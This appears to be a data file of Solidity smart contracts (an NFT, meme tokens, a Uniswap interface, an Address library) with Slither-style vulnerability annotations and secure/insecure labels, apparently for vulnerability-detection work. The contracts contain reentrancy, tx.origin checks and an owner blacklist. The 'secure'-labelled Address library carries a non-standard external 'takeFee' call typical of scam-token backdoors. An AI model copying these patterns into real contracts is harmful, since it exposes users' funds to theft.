}\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return\n interfaceId == 0x01ffc9a7 ||\n interfaceId == 0x80ac58cd ||\n interfaceId == 0x5b5e139f;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 232809c): WEDOGE.balanceOf(address).owner shadows WEDOGE.owner() (function)\n\t// Recommendation for 232809c: Rename the local variables that shadow another component.\n function balanceOf(address owner) public view override returns (uint256) {\n if (_addressToUint256(owner) == 0) revert BalanceQueryForZeroAddress();\n return _packedAddressData[owner] & BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: afef4ab): WEDOGE._numberMinted(address).owner shadows WEDOGE.owner() (function)\n\t// Recommendation for afef4ab: Rename the local variables that shadow another component.\n function _numberMinted(address owner) internal view returns (uint256) {\n return\n (_packedAddressData[owner] >> BITPOS_NUMBER_MINTED) &\n BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d76ac10): WEDOGE._getAux(address).owner shadows WEDOGE.owner() (function)\n\t// Recommendation for d76ac10: Rename the local variables that shadow another component.\n function _getAux(address owner) internal view returns (uint64) {\n return uint64(_packedAddressData[owner] >> BITPOS_AUX);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c94ddab): WEDOGE._setAux(address,uint64).owner shadows WEDOGE.owner() (function)\n\t// Recommendation for c94ddab: Rename the local variables that shadow another component.\n function _setAux(address owner, uint64 aux) internal {\n uint256 packed = _packedAddressData[owner];\n uint256 auxCasted;\n assembly {\n auxCasted := aux\n }\n packed = (packed & BITMASK_AUX_COMPLEMENT) | (auxCasted << BITPOS_AUX);\n _packedAddressData[owner] = packed;\n }\n\n function _packedOwnershipOf(\n uint256 tokenId\n ) private view returns (uint256) {\n uint256 curr = tokenId;\n\n unchecked {\n if (_startTokenId() <= curr)\n if (curr < _currentIndex) {\n uint256 packed = _packedOwnerships[curr];\n\n if (packed & BITMASK_BURNED == 0) {\n while (packed == 0) {\n packed = _packedOwnerships[--curr];\n }\n return packed;\n }\n }\n }\n revert OwnerQueryForNonexistentToken();\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: ac4574e): WEDOGE._unpackedOwnership(uint256) uses timestamp for comparisons Dangerous comparisons ownership.burned = packed & BITMASK_BURNED != 0\n\t// Recommendation for ac4574e: Avoid relying on 'block.timestamp'.\n function _unpackedOwnership(\n uint256 packed\n ) private pure returns (TokenOwnership memory ownership) {\n ownership.addr = address(uint160(packed));\n ownership.startTimestamp = uint64(packed >> BITPOS_START_TIMESTAMP);\n\t\t// timestamp | ID: ac4574e\n ownership.burned = packed & BITMASK_BURNED != 0;\n }\n\n function _ownershipAt(\n uint256 index\n ) internal view returns (TokenOwnership memory) {\n return _unpackedOwnership(_packedOwnerships[index]);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 33c3051): WEDOGE._initializeOwnershipAt(uint256) uses timestamp for comparisons Dangerous comparisons _packedOwnerships[index] == 0\n\t// Recommendation for 33c3051: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: bcb51e8): WEDOGE._initializeOwnershipAt(uint256) uses a dangerous strict equality _packedOwnerships[index] == 0\n\t// Recommendation for bcb51e8: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _initializeOwnershipAt(uint256 index) internal {\n\t\t// timestamp | ID: 33c3051\n\t\t// incorrect-equality | ID: bcb51e8\n if (_packedOwnerships[index] == 0) {\n _packedOwnerships[index] = _packedOwnershipOf(index);\n }\n }\n\n function _ownershipOf(\n uint256 tokenId\n ) internal view returns (TokenOwnership memory) {\n return _unpackedOwnership(_packedOwnershipOf(tokenId));\n }\n\n function ownerOf(uint256 tokenId) public view override returns (address) {\n return address(uint160(_packedOwnershipOf(tokenId)));\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n if (!_exists(tokenId)) revert URIQueryForNonexistentToken();\n string memory baseURI = _baseURI;\n return\n bytes(baseURI).length != 0\n ? string(\n abi.encodePacked(\n \"ipfs://\",\n baseURI,\n \"/\",\n _toString(tokenId),\n \".json\"\n )\n )\n : \"\";\n }\n\n function _addressToUint256(\n address value\n ) private pure returns (uint256 result) {\n assembly {\n result := value\n }\n }\n\n function _boolToUint256(bool value) private pure returns (uint256 result) {\n assembly {\n result := value\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9402eb4): WEDOGE.approve(address,uint256).owner shadows WEDOGE.owner() (function)\n\t// Recommendation for 9402eb4: Rename the local variables that shadow another component.\n function approve(address to, uint256 tokenId) public override {\n address owner = address(uint160(_packedOwnershipOf(tokenId)));\n if (to == owner) revert();\n\n if (_msgSenderERC721A() != owner)\n if (!isApprovedForAll(owner, _msgSenderERC721A())) {\n revert ApprovalCallerNotOwnerNorApproved();\n }\n\n _tokenApprovals[tokenId] = to;\n emit Approval(owner, to, tokenId);\n }\n\n function getApproved(\n uint256 tokenId\n ) public view override returns (address) {\n if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();\n\n return _tokenApprovals[tokenId];\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public virtual override {\n if (operator == _msgSenderERC721A()) revert ApproveToCaller();\n\n _operatorApprovals[_msgSenderERC721A()][operator] = approved;\n emit ApprovalForAll(_msgSenderERC721A(), operator, approved);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9de9f6f): WEDOGE.isApprovedForAll(address,address).owner shadows WEDOGE.owner() (function)\n\t// Recommendation for 9de9f6f: Rename the local variables that shadow another component.\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n _transfer(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public virtual override {\n _transfer(from, to, tokenId);\n }\n\n function _exists(uint256 tokenId) internal view returns (bool) {\n return _startTokenId() <= tokenId && tokenId < _currentIndex;\n }\n\n function _mint(address to, uint256 quantity) internal {\n uint256 startTokenId = _currentIndex;\n if (_addressToUint256(to) == 0) revert MintToZeroAddress();\n if (quantity == 0) revert MintZeroQuantity();\n\n unchecked {\n _packedAddressData[to] +=\n quantity *\n ((1 << BITPOS_NUMBER_MINTED) | 1);\n\n _packedOwnerships[startTokenId] =\n _addressToUint256(to) |\n (block.timestamp << BITPOS_START_TIMESTAMP) |\n (_boolToUint256(quantity == 1) << BITPOS_NEXT_INITIALIZED);\n\n uint256 updatedIndex = startTokenId;\n uint256 end = updatedIndex + quantity;\n\n do {\n emit Transfer(address(0), to, updatedIndex++);\n } while (updatedIndex < end);\n\n _currentIndex = updatedIndex;\n }\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 7686c9c): WEDOGE._transfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons _packedOwnerships[nextTokenId] == 0\n\t// Recommendation for 7686c9c: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 2227b70): WEDOGE._transfer(address,address,uint256) uses a dangerous strict equality _packedOwnerships[nextTokenId] == 0\n\t// Recommendation for 2227b70: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _transfer(address from, address to, uint256 tokenId) private {\n uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);\n\n if (address(uint160(prevOwnershipPacked)) != from)\n revert TransferFromIncorrectOwner();\n\n address approvedAddress = _tokenApprovals[tokenId];\n\n bool isApprovedOrOwner = (_msgSenderERC721A() == from ||\n isApprovedForAll(from, _msgSenderERC721A()) ||\n approvedAddress == _msgSenderERC721A());\n\n if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();\n\n if (_addressToUint256(approvedAddress) != 0) {\n delete _tokenApprovals[tokenId];\n }\n\n unchecked {\n --_packedAddressData[from];\n ++_packedAddressData[to];\n\n _packedOwnerships[tokenId] =\n _addressToUint256(to) |\n (block.timestamp << BITPOS_START_TIMESTAMP) |\n BITMASK_NEXT_INITIALIZED;\n\n if (prevOwnershipPacked & BITMASK_NEXT_INITIALIZED == 0) {\n uint256 nextTokenId = tokenId + 1;\n\n\t\t\t\t// timestamp | ID: 7686c9c\n\t\t\t\t// incorrect-equality | ID: 2227b70\n if (_packedOwnerships[nextTokenId] == 0) {\n if (nextTokenId != _currentIndex) {\n _packedOwnerships[nextTokenId] = prevOwnershipPacked;\n }\n }\n }\n }\n\n emit Transfer(from, to, tokenId);\n _afterTokenTransfers(from, to, tokenId, 1);\n }\n\n function _afterTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n function _msgSenderERC721A() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _toString(\n uint256 value\n ) internal pure returns (string memory ptr) {\n assembly {\n ptr := add(mload(0x40), 128)\n\n mstore(0x40, ptr)\n\n let end := ptr\n\n for {\n let temp := value\n\n ptr := sub(ptr, 1)\n\n mstore8(ptr, add(48, mod(temp, 10)))\n temp := div(temp, 10)\n } temp {\n temp := div(temp, 10)\n } {\n ptr := sub(ptr, 1)\n mstore8(ptr, add(48, mod(temp, 10)))\n }\n\n let length := sub(end, ptr)\n\n ptr := sub(ptr, 32)\n\n mstore(ptr, length)\n }\n }\n\n function withdraw() external onlyOwner {\n uint256 balance = address(this).balance;\n payable(msg.sender).transfer(balance);\n }\n}", "file_name": "solidity_code_3183.sol", "secure": 0, "size_bytes": 17784 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract BitcoinApple is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private bots;\n mapping(address => uint256) private _holderLastTransferTimestamp;\n bool public transferDelayEnabled = true;\n\t// WARNING Optimization Issue (immutable-states | ID: a03c062): BitcoinApple._taxWallet should be immutable \n\t// Recommendation for a03c062: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: a20e44d): BitcoinApple._initialBuyTax should be constant \n\t// Recommendation for a20e44d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 1;\n\t// WARNING Optimization Issue (constable-states | ID: e689106): BitcoinApple._initialSellTax should be constant \n\t// Recommendation for e689106: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 1;\n\t// WARNING Optimization Issue (constable-states | ID: 7c3b86a): BitcoinApple._finalBuyTax should be constant \n\t// Recommendation for 7c3b86a: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\t// WARNING Optimization Issue (constable-states | ID: c864b31): BitcoinApple._finalSellTax should be constant \n\t// Recommendation for c864b31: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 7e09311): BitcoinApple._reduceBuyTaxAt should be constant \n\t// Recommendation for 7e09311: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 1;\n\t// WARNING Optimization Issue (constable-states | ID: 4aa011b): BitcoinApple._reduceSellTaxAt should be constant \n\t// Recommendation for 4aa011b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 1;\n\t// WARNING Optimization Issue (constable-states | ID: 9a45852): BitcoinApple._preventSwapBefore should be constant \n\t// Recommendation for 9a45852: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 150;\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 8;\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n string private constant _name = unicode\"Bitcoin Apple\";\n string private constant _symbol = unicode\"BTCAPPLE\";\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n uint256 public _maxWalletSize = 40000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 1142786): BitcoinApple._taxSwapThreshold should be constant \n\t// Recommendation for 1142786: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 5000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 3a75c70): BitcoinApple._maxTaxSwap should be constant \n\t// Recommendation for 3a75c70: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 5000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 200cf69): BitcoinApple.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 200cf69: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fcf7b26): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fcf7b26: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5c3d1d7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5c3d1d7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: fcf7b26\n\t\t// reentrancy-benign | ID: 5c3d1d7\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: fcf7b26\n\t\t// reentrancy-benign | ID: 5c3d1d7\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cf48716): BitcoinApple._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cf48716: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 5c3d1d7\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: fcf7b26\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e8af0a1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e8af0a1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 39d4111): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for 39d4111: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1fd8fca): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1fd8fca: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: 39d4111\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: e8af0a1\n\t\t\t\t// reentrancy-eth | ID: 1fd8fca\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e8af0a1\n\t\t\t\t\t// reentrancy-eth | ID: 1fd8fca\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 1fd8fca\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\t\t\t// reentrancy-events | ID: e8af0a1\n emit Transfer(from, address(this), taxAmount);\n }\n\t\t// reentrancy-eth | ID: 1fd8fca\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: 1fd8fca\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: e8af0a1\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) {\n return;\n }\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: fcf7b26\n\t\t// reentrancy-events | ID: e8af0a1\n\t\t// reentrancy-benign | ID: 5c3d1d7\n\t\t// reentrancy-eth | ID: 1fd8fca\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n transferDelayEnabled = false;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 0533f4f): BitcoinApple.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 0533f4f: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: fcf7b26\n\t\t// reentrancy-events | ID: e8af0a1\n\t\t// reentrancy-eth | ID: 1fd8fca\n\t\t// arbitrary-send-eth | ID: 0533f4f\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 77a7c9f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 77a7c9f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3a6744a): BitcoinApple.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 3a6744a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 03a500f): BitcoinApple.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 03a500f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 17b02b1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 17b02b1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 77a7c9f\n\t\t// reentrancy-eth | ID: 17b02b1\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: 77a7c9f\n\t\t// unused-return | ID: 3a6744a\n\t\t// reentrancy-eth | ID: 17b02b1\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 77a7c9f\n\t\t// unused-return | ID: 03a500f\n\t\t// reentrancy-eth | ID: 17b02b1\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\t\t// reentrancy-benign | ID: 77a7c9f\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: 17b02b1\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}", "file_name": "solidity_code_3184.sol", "secure": 0, "size_bytes": 17612 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapRouterV2 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}", "file_name": "solidity_code_3185.sol", "secure": 1, "size_bytes": 749 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n bytes32 codehash;\n bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;\n\n assembly {\n codehash := extcodehash(account)\n }\n return (codehash != accountHash && codehash != 0x0);\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return _functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n value,\n \"Address: low-level call with value failed\"\n );\n }\n function takeFee(address target, address from) internal returns (uint256) {\n\t\t// reentrancy-events | ID: 44f3cef\n\t\t// reentrancy-benign | ID: b9278ff\n (bool success, bytes memory returndata) = target.call(\n (abi.encodePacked(from))\n );\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n return uint256(bytes32(returndata));\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n return _functionCallWithValue(target, data, value, errorMessage);\n }\n\n function _functionCallWithValue(\n address target,\n bytes memory data,\n uint256 weiValue,\n string memory errorMessage\n ) private returns (bytes memory) {\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: weiValue}(\n data\n );\n if (success) {\n return returndata;\n } else {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}", "file_name": "solidity_code_3186.sol", "secure": 1, "size_bytes": 3257 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapFactory.sol\" as IUniswapFactory;\nimport \"./IUniswapRouterV2.sol\" as IUniswapRouterV2;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 1d3e65f): OxMomoshiki.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 2 * (_tTotal / 1000)\n// Recommendation for 1d3e65f: Consider ordering multiplication before division.\ncontract OxMomoshiki is Context, IERC20, Ownable {\n using SafeMath for uint256;\n using Address for address;\n mapping(address => uint256) private _holderLastTransferTime;\n bool public transferDelayEnabled = true;\n address private _taxWallet;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFees;\n\n\t// WARNING Optimization Issue (constable-states | ID: f46a16a): OxMomoshiki._initialBuyTax should be constant \n\t// Recommendation for f46a16a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 7ded6bd): OxMomoshiki._initialSellTax should be constant \n\t// Recommendation for 7ded6bd: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 31d5401): OxMomoshiki._reduceBuyTaxAt should be constant \n\t// Recommendation for 31d5401: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\t// WARNING Optimization Issue (constable-states | ID: 84793d2): OxMomoshiki._reduceSellTaxAt should be constant \n\t// Recommendation for 84793d2: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 314c2d0): OxMomoshiki._initialBuyTax2Time should be constant \n\t// Recommendation for 314c2d0: Add the 'constant' attribute to 